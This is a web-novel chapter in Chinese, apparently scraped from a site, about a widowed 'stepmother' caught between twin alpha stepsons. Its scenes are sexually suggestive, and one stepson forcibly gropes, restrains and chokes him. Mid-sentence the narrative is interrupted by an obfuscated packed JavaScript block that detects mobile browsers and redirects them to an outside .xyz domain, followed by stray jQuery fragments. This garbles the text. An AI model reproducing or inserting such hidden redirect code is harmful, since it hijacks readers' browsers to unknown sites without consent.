等两人从走廊里走出来,郁棠后背几乎全都汗湿了,编好的头发凌乱着搭在胸前,嘴唇更是红肿不堪,走起路来脚步也有些发软。
一打眼看过去,便知晓他们刚刚做了什么。
“你先走吧,别等会儿叫人看到了。”
郁棠松开关文允的手,指了指侧门,伸出的指尖带着牙印,那是郁棠受不住想要推开关文允的脸时被咬的。
关文允不语,仍有些不舍地握紧了郁棠柔软的手。
“文允,以后……我们还有很多这样的机会,今天就到这里,好不好?”
郁棠另一只手搭在关文允小臂上,他的语气柔和,又含着令关文允心口酥麻的甜意。
“以后?”
“嗯,你不是说会一直陪着我吗,那我们当然还会有很多个‘以后’了。”
郁棠眉眼弯弯地笑起来,像陷入初恋的小女孩一样,俏皮地轻晃了下关文允和他牵在一起的手,脸上神情是一种青涩的害羞。
……
见关文允脚步轻快地离开,郁棠这才收起盈盈笑意,他疲惫地呼出一口气。
天色渐暗,花园温度也骤然下降,汗湿的衣物贴在身上泛起凉意,郁棠皱了皱眉,尤其是某处,黏腻的感觉令他尤为不适。
穿过花圃之后,郁棠对焦急等待的莲莲简单解释几句,便要急急回房,主仆二人刚走到东边的宅院,就在前厅再次被拦住。
“小妈这是急匆匆地从哪回来了?”
人未到,那道漫不经心的声音先响了起来。
郁棠面色一下子沉了下去,偏偏是在这个时候关文颂找上了门。
“小姐……”
莲莲紧张地握紧了郁棠的胳膊,即便她并不知晓郁棠和关文颂之间的事,可她还记得葬礼当天关文颂说要送郁棠去春和阁。
这三少爷就是个笑面虎,最为伪善阴险。
“别怕,你先走吧,等会儿我自己洗漱就可以了。”
“可是小姐——”
郁棠见莲莲还要说话,他拍拍莲莲的手背,面上浅笑,抢先说:“没事的,当时还是三少爷想办法留下我的呢,他不会做什么的,你先走吧。”
“小妈对身边佣人还真是不错,看得我都有些羡慕了。”
关文颂从前厅拐角的暗处走出来,看莲莲一步三回头地离开宅院,摸摸下巴,颇有些失落地感慨。
“三少爷说笑了,不知道三少爷今晚来找我是什么事。”
郁棠站在前厅门边,双手一如往常地交叠搭在身前,好在头发什么的都已经在花园里打理好了,如今除了嘴上那个浅浅的破口外,也看不出什么端倪。
“三少爷?”
关文颂踱步至郁棠跟前,若有所思地打量了一下暖黄灯光下的人。
“明明前几晚还叫我文颂,说文颂重一点,文颂再往里一点,现在叫得这么生疏?”
“不会是下了床就翻脸不认人吧,又或者说,在别人那吃饱了,现在到我这儿就没兴趣了?”
郁棠皱眉后退一步,但面前的alpha一手撑在墙边,一手掐着他的下颌,已经俯身压下来。
“这么重的松木味……”
一张与关文允一模一样的脸靠近眼前,除了肤色略白,眉上无疤外,熟悉得让郁棠险些下意识张开唇让人吻。
“你松手!”
郁棠用力推开堵在身前的人,他抿着唇,故作镇定地想要转身离开。
啪的一声,关文颂一把握住郁棠手腕,将人拽回怀里。
他一手横贯在郁棠胸前,死死压住那正在挣扎的上半身,另一只手按在郁棠胯骨处。
檀香木和灼热的气息扑在颈侧,关文颂刻意压低的、带着狎昵的声音传入郁棠耳中。
“不止有信息素的味道,还有……的味道,下午是和关文允做了,还是给他吃了,味道这么浓,不会衣服下面全是吧?”
郁棠闻言心中一惊,他知道alpha嗅觉灵敏,只是没想到几个小时前的味道,关文颂竟然还能闻到。
“小妈才刚出丧,就急着吃荤的,这戒破了一次,再破一次想必也没什么,别动,让我——”
耳边呼吸声发沉,郁棠能清楚感觉到什么沉甸甸的、滚烫的东西在勃发,而他的神情则飞快地冷了下去。
关文颂的手开始乱动,郁棠彻底恼了。
“关文颂,你别在这发疯。”
他抬起手肘狠狠捣向身后人的腹部,听人痛得闷哼一声,手臂也松开些许,这才冷脸转过身。
“嘶——小妈你这下打得可真够狠的啊。”
关文颂弯腰捂着腹部轻咳几声,随后抬起头看向面前的人。
“不打狠点,只怕你清醒不了。”
郁棠将碎发别好,轻轻瞥了一眼关文颂,便朝内院走。
“我为什么清醒不了,小妈你不清楚吗,我真是伤心。”
跟在郁棠脚步后进了房间,关文颂将门关好,同时咔哒一声落了锁。
郁棠不着痕迹地深吸一口气,背对着身后人的脸上郁色更重,他一言不发,就要进浴室。
却再一次被关文颂按住浴室门,拦住了脚步。
“看见我就没个好脸色,我是哪惹小妈生气了?”
关文颂终于察觉出郁棠掩藏在平静面容之下的不愉快,他声音难得放软了一点。
心中却不满到了极点,明明是郁棠大晚上带着一身咸腥气息和alpha信息素回来的,怎么好像是他做错了?
“文颂,我累了。”
“可以让我先洗漱休息吗,有什么事明天再说吧。”
郁棠偏过头,语气轻柔,唇角挂着浅淡柔和的笑意。
关文颂没有说话,只盯着郁棠看了看,随后脚步一转,坐在了沙发上。
他支着脑袋把玩桌边一个茶杯,语气散漫:“那我等小妈洗漱出来再走吧。”
室内寂静下来,直到片刻之后,浴室关门声响起,关文颂才重新将视线投入郁棠所在的方向。
茶杯被他紧紧捏在手里,指节都用力到发白,他的神情更是阴沉得可怕。
-
浴室内,水雾缭绕,散了一地衣物。
镜面上朦胧映出一个白皙纤细的身影,随后只见这道身影抬脚踏入浴缸的热水,缓缓没入其中。
郁棠坐在浴缸内,撩起一碰
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16310064|182879||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
水扑向脸颊,随后长吁一声,仰躺在靠垫上。
一头黑色长发湿漉漉地黏在肩上和锁骨处,他的面容被水打湿,眉心正中有一滴水珠向下滚落,从鼻梁到鼻尖,留下一道水痕,最后坠入唇缝之间,显得红唇越发姝艳诱人。
泡在滴入花香味精油的热水中,郁棠感到昏昏欲睡。
他身体本就敏感,再加上素了这么久,下午被关文允又亲又抱的,让他不止宣泄了一次,难免有些精力不济。
但外面檀木味的信息素极有存在感地钻进来,叫郁棠始终不敢彻底松懈下来,他不过泡了十分钟,觉得味道散得差不多了,便起身擦干净,换上长及脚踝的睡裙走出浴室。
这么一会儿,关文颂坐在外头情绪也消化得差不多了,又摆出一副若无其事、笑吟吟的模样。
然而当他看见郁棠半湿着头发,穿着一身洁白睡裙走出来时,还是有一瞬心跳失衡。
“要喝茶吗?”
郁棠走到茶几边,开口询问。
他的声音和平时不太一样,稍显懒怠,语气略低,尾音更是拖出一点性.感的哑意。
“能喝点别的吗?”
关文颂撑着沙发扶手站起身,具有压迫感的身高一下子逼得郁棠再次皱眉后退。
“想喝二哥今天下午喝过的东西,行吗,小妈……”
郁棠唇上那个细小的咬痕被按住,关文颂指腹用力,压着那个伤口反复摩挲。
“文颂,那晚的事情是个意外,我们不能——你干什么!”
关文颂抬手将郁棠推在沙发上,面无表情地靠近,他一手强硬地卡着郁棠的喉咙,虎口顶着那尖细的下巴尖,迫使人抬起头。
郁棠脚抵在关文颂腰间,不让面前的alpha更进一步,同时匆忙摸到桌边一个茶杯就砸了过去。
砰的一下,茶杯从关文颂额角边擦过去,掉在身后的地毯上,骨碌碌地滚到浴室门边,随即发出了清脆的碎裂声。
而关文颂的动作终于停下了。
他垂着头,额前碎发在眼前落下一片阴影,叫人看不清他的神色。
郁棠呼呼喘着气,同样一言不发。
……
……
“郁棠,你为什么总是这么不公平。”
关文颂缓缓松开扼住郁棠脖子的手,忽然低声开口。
“对关文允的笑,总是比对我的更真心。”
“送给关文允的围巾,是你亲手织的,我的就只是你买的。”
“生病的时候,你整夜都给关文允陪床,在我这却只待到睡前。”
高大挺拔的alpha在郁棠面前弯下了腰,随即整个人就像是失去了力气一般,膝盖慢慢屈起,竟直接跪在了沙发前的地板上。
“为什么总是对我和对他不一样……”
“我们不是长得一样吗,我不是比他更聪明吗,当初小妈也是我先叫的……”
“为什么你只认他……为什么给他的不能给我!?”
关文颂死死攥住郁棠搭在沙发边沿的手,接着猛地抬起头——
那张俊秀的面容一时之间扭曲到狰狞,黑色眼瞳里是浓重的嫉妒和不甘。